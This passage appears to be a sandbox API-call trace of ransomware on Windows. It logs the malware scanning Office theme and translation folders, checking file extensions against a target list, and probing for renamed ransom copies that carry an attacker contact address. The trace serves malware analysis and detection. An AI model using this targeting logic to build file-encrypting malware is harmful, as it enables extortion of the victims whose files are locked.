-1 [0222.765] lstrlenW (lpString=".ppt") returned 4 [0222.766] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0222.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.766] lstrlenW (lpString=".zip") returned 4 [0222.766] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0222.766] lstrlenW (lpString=".rar") returned 4 [0222.766] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0222.766] lstrlenW (lpString=".bz2") returned 4 [0222.766] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0222.766] lstrlenW (lpString=".7z") returned 3 [0222.766] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0222.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.766] lstrlenW (lpString=".dbf") returned 4 [0222.767] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0222.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.767] lstrlenW (lpString=".1cd") returned 4 [0222.767] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0222.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.767] lstrlenW (lpString=".jpg") returned 4 [0222.767] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0222.768] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0222.768] lstrlenW (lpString="DEEPBLUE.INF") returned 12 [0222.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0222.769] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=569) returned 1 [0222.769] CloseHandle (hObject=0x39c) returned 1 [0222.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0222.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.770] lstrlenW (lpString=".doc") returned 4 [0222.770] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0222.770] lstrlenW (lpString=".docx") returned 5 [0222.770] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0222.770] lstrlenW (lpString=".pdf") returned 4 [0222.770] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0222.770] lstrlenW (lpString=".xls") returned 4 [0222.770] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0222.770] lstrlenW (lpString=".xlsx") returned 5 [0222.770] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0222.770] lstrlenW (lpString=".ppt") returned 4 [0222.771] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0222.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.771] lstrlenW (lpString=".zip") returned 4 [0222.771] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0222.771] lstrlenW (lpString=".rar") returned 4 [0222.771] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0222.771] lstrlenW (lpString=".bz2") returned 4 [0222.771] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0222.771] lstrlenW (lpString=".7z") returned 3 [0222.771] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0222.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.771] lstrlenW (lpString=".dbf") returned 4 [0222.771] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0222.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.772] lstrlenW (lpString=".1cd") returned 4 [0222.772] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0222.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.772] lstrlenW (lpString=".jpg") returned 4 [0222.772] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0222.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.772] lstrlenW (lpString=".doc") returned 4 [0222.772] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0222.772] lstrlenW (lpString=".docx") returned 5 [0222.772] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0222.772] lstrlenW (lpString=".pdf") returned 4 [0222.773] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0222.773] lstrlenW (lpString=".xls") returned 4 [0222.773] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0222.773] lstrlenW (lpString=".xlsx") returned 5 [0222.773] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0222.773] lstrlenW (lpString=".ppt") returned 4 [0222.773] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0222.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.773] lstrlenW (lpString=".zip") returned 4 [0222.773] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0222.773] lstrlenW (lpString=".rar") returned 4 [0222.773] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0222.773] lstrlenW (lpString=".bz2") returned 4 [0222.774] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0222.774] lstrlenW (lpString=".7z") returned 3 [0222.774] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0222.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.774] lstrlenW (lpString=".dbf") returned 4 [0222.774] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0222.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.774] lstrlenW (lpString=".1cd") returned 4 [0222.774] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0222.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0222.774] lstrlenW (lpString=".jpg") returned 4 [0222.774] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0222.775] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0222.775] lstrlenW (lpString="ECHO.ELM") returned 8 [0222.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0222.780] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=45262) returned 1 [0222.780] CloseHandle (hObject=0x39c) returned 1 [0222.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0222.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.781] lstrlenW (lpString=".doc") returned 4 [0222.781] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0222.781] lstrlenW (lpString=".docx") returned 5 [0222.781] lstrcmpiW (lpString1=".docx", lpString2="O.ELM") returned -1 [0222.781] lstrlenW (lpString=".pdf") returned 4 [0222.781] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0222.781] lstrlenW (lpString=".xls") returned 4 [0222.781] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0222.781] lstrlenW (lpString=".xlsx") returned 5 [0222.782] lstrcmpiW (lpString1=".xlsx", lpString2="O.ELM") returned -1 [0222.782] lstrlenW (lpString=".ppt") returned 4 [0222.782] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0222.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.782] lstrlenW (lpString=".zip") returned 4 [0222.782] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0222.782] lstrlenW (lpString=".rar") returned 4 [0222.782] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0222.782] lstrlenW (lpString=".bz2") returned 4 [0222.782] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0222.782] lstrlenW (lpString=".7z") returned 3 [0222.782] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0222.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.783] lstrlenW (lpString=".dbf") returned 4 [0222.783] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0222.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.783] lstrlenW (lpString=".1cd") returned 4 [0222.783] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0222.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.783] lstrlenW (lpString=".jpg") returned 4 [0222.783] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0222.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.783] lstrlenW (lpString=".doc") returned 4 [0222.784] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0222.784] lstrlenW (lpString=".docx") returned 5 [0222.784] lstrcmpiW (lpString1=".docx", lpString2="O.ELM") returned -1 [0222.784] lstrlenW (lpString=".pdf") returned 4 [0222.784] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0222.784] lstrlenW (lpString=".xls") returned 4 [0222.784] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0222.784] lstrlenW (lpString=".xlsx") returned 5 [0222.784] lstrcmpiW (lpString1=".xlsx", lpString2="O.ELM") returned -1 [0222.784] lstrlenW (lpString=".ppt") returned 4 [0222.784] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0222.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.785] lstrlenW (lpString=".zip") returned 4 [0222.785] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0222.785] lstrlenW (lpString=".rar") returned 4 [0222.785] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0222.785] lstrlenW (lpString=".bz2") returned 4 [0222.785] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0222.785] lstrlenW (lpString=".7z") returned 3 [0222.785] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.785] lstrlenW (lpString=".dbf") returned 4 [0222.785] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.785] lstrlenW (lpString=".1cd") returned 4 [0222.785] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0222.786] lstrlenW (lpString=".jpg") returned 4 [0222.786] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0222.786] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0222.786] lstrlenW (lpString="ECHO.INF") returned 8 [0222.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0222.787] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=503) returned 1 [0222.787] CloseHandle (hObject=0x39c) returned 1 [0222.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf")) returned 0x20 [0222.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.788] lstrlenW (lpString=".doc") returned 4 [0222.788] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0222.788] lstrlenW (lpString=".docx") returned 5 [0222.788] lstrcmpiW (lpString1=".docx", lpString2="O.INF") returned -1 [0222.788] lstrlenW (lpString=".pdf") returned 4 [0222.788] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0222.788] lstrlenW (lpString=".xls") returned 4 [0222.788] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0222.789] lstrlenW (lpString=".xlsx") returned 5 [0222.789] lstrcmpiW (lpString1=".xlsx", lpString2="O.INF") returned -1 [0222.789] lstrlenW (lpString=".ppt") returned 4 [0222.789] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.789] lstrlenW (lpString=".zip") returned 4 [0222.789] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0222.789] lstrlenW (lpString=".rar") returned 4 [0222.789] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0222.789] lstrlenW (lpString=".bz2") returned 4 [0222.789] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0222.789] lstrlenW (lpString=".7z") returned 3 [0222.789] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.790] lstrlenW (lpString=".dbf") returned 4 [0222.790] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.790] lstrlenW (lpString=".1cd") returned 4 [0222.790] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.790] lstrlenW (lpString=".jpg") returned 4 [0222.790] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0222.790] lstrlenW (lpString=".doc") returned 4 [0222.791] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0222.791] lstrlenW (lpString=".docx") returned 5 [0222.791] lstrcmpiW (lpString1=".docx", lpString2="O.INF") returned -1 [0222.791] lstrlenW (lpString=".pdf") returned 4 [0222.791] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0222.791] lstrlenW (lpString=".xls") returned 4 [0222.791] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0222.791] lstrlenW (lpString=".xlsx") returned 5 [0222.791] lstrcmpiW (lpString1=".xlsx", lpString2="O.INF") returned -1 [0222.791] lstrlenW (lpString=".ppt") returned 4 [0222.791] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0222.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0225.505] lstrlenW (lpString=".zip") returned 4 [0225.506] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.506] lstrlenW (lpString=".rar") returned 4 [0225.506] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.506] lstrlenW (lpString=".bz2") returned 4 [0225.506] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.506] lstrlenW (lpString=".7z") returned 3 [0225.510] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0225.510] lstrlenW (lpString=".dbf") returned 4 [0225.510] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0225.510] lstrlenW (lpString=".1cd") returned 4 [0225.510] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0225.511] lstrlenW (lpString=".jpg") returned 4 [0225.511] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.511] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0225.512] lstrlenW (lpString="WATER.INF") returned 9 [0225.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.665] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=417) returned 1 [0225.665] CloseHandle (hObject=0x398) returned 1 [0225.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0225.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.726] lstrlenW (lpString=".doc") returned 4 [0225.727] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.727] lstrlenW (lpString=".docx") returned 5 [0225.727] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0225.727] lstrlenW (lpString=".pdf") returned 4 [0225.727] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.727] lstrlenW (lpString=".xls") returned 4 [0225.727] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.727] lstrlenW (lpString=".xlsx") returned 5 [0225.727] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0225.727] lstrlenW (lpString=".ppt") returned 4 [0225.727] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.728] lstrlenW (lpString=".zip") returned 4 [0225.728] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.728] lstrlenW (lpString=".rar") returned 4 [0225.728] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.728] lstrlenW (lpString=".bz2") returned 4 [0225.728] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.728] lstrlenW (lpString=".7z") returned 3 [0225.728] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.728] lstrlenW (lpString=".dbf") returned 4 [0225.728] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.728] lstrlenW (lpString=".1cd") returned 4 [0225.729] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.729] lstrlenW (lpString=".jpg") returned 4 [0225.729] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.729] lstrlenW (lpString=".doc") returned 4 [0225.729] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.729] lstrlenW (lpString=".docx") returned 5 [0225.729] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0225.729] lstrlenW (lpString=".pdf") returned 4 [0225.730] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.730] lstrlenW (lpString=".xls") returned 4 [0225.730] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.730] lstrlenW (lpString=".xlsx") returned 5 [0225.730] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0225.730] lstrlenW (lpString=".ppt") returned 4 [0225.730] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.730] lstrlenW (lpString=".zip") returned 4 [0225.730] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.730] lstrlenW (lpString=".rar") returned 4 [0225.730] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.731] lstrlenW (lpString=".bz2") returned 4 [0225.731] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.731] lstrlenW (lpString=".7z") returned 3 [0225.731] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.731] lstrlenW (lpString=".dbf") returned 4 [0225.731] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.731] lstrlenW (lpString=".1cd") returned 4 [0225.731] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0225.731] lstrlenW (lpString=".jpg") returned 4 [0225.732] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.732] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0225.732] lstrlenW (lpString="MSB1ESEN.DLL") returned 12 [0225.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.733] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=229888) returned 1 [0225.733] CloseHandle (hObject=0x398) returned 1 [0225.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common 